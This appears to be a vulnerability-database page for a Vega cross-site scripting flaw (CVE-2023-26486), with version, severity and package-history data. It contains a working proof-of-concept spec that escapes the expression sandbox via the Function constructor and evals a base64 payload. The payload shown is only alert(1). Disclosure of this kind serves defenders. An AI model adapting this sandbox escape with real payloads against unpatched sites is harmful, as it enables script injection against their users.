Medium

Vega Expression Language `scale` expression function Cross Site Scripting

Disclosed: 02.03.2023
Updated: 11.10.2026 10:22

Summary

The Vega scale expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.

Details

The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale.

PoC

The following Vega definition can be used to demonstrate this issue executing the JavaScript code alert(1);

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "data": [
    {
      "name": "XSS PoC",
      "values": [1],
      "transform": [
        {
          "type": "formula",
          "as": "amount",
          "expr": "scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})"
        }
      ]
    }
  ]
}

This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	vega	< 5.23.0	5.23.0
npm package	vega-functions	< 5.13.1	5.13.1

References

CVSS score 6.1/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness (CWE): CWE-79
Platform: npm
Package: vega, vega-functions
Disclosed: 02.03.2023
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-4vq7-882g-wcg4 - CC BY 4.0

Vulnerability history: vega

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 8
First → latest: 12.2020 11.2025
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 1
Medium 6
Low 1

Disclosures per year

2020: 1
2021: 0
2022: 0
2023: 3
2024: 0
2025: 4
2026: 0

13.11.2025

Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable

High · 8.1 CVE-2025-59840 < 6.2.0 6.2.0
27.03.2025

Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]

Medium CVE-2025-27793 < 5.32.0 5.32.0
27.03.2025

Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter

Medium · 6.1 CVE-2025-26619 < 5.31.0 5.31.0
14.02.2025

Vega allows Cross-site Scripting via the vlSelectionTuples function

Medium CVE-2025-25304 < 5.26.0 5.26.0
02.03.2023

Vega vulnerable to arbitrary code execution when clicking href links

Medium ghsa-cp47-r258-q626 >= 5.0.0, < 5.4.1, < 4.5.1 5.4.1, 4.5.1
02.03.2023

Vega Expression Language `scale` expression function Cross Site Scripting this entry

Medium · 6.1 CVE-2023-26486 < 5.23.0 5.23.0
02.03.2023

Vega has Cross-site Scripting vulnerability in `lassoAppend` function

Medium · 6.1 CVE-2023-26487 < 5.23.0 5.23.0
30.12.2020

XSS in Vega

Low · 8.7 CVE-2020-26296 < 5.17.3 5.17.3

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application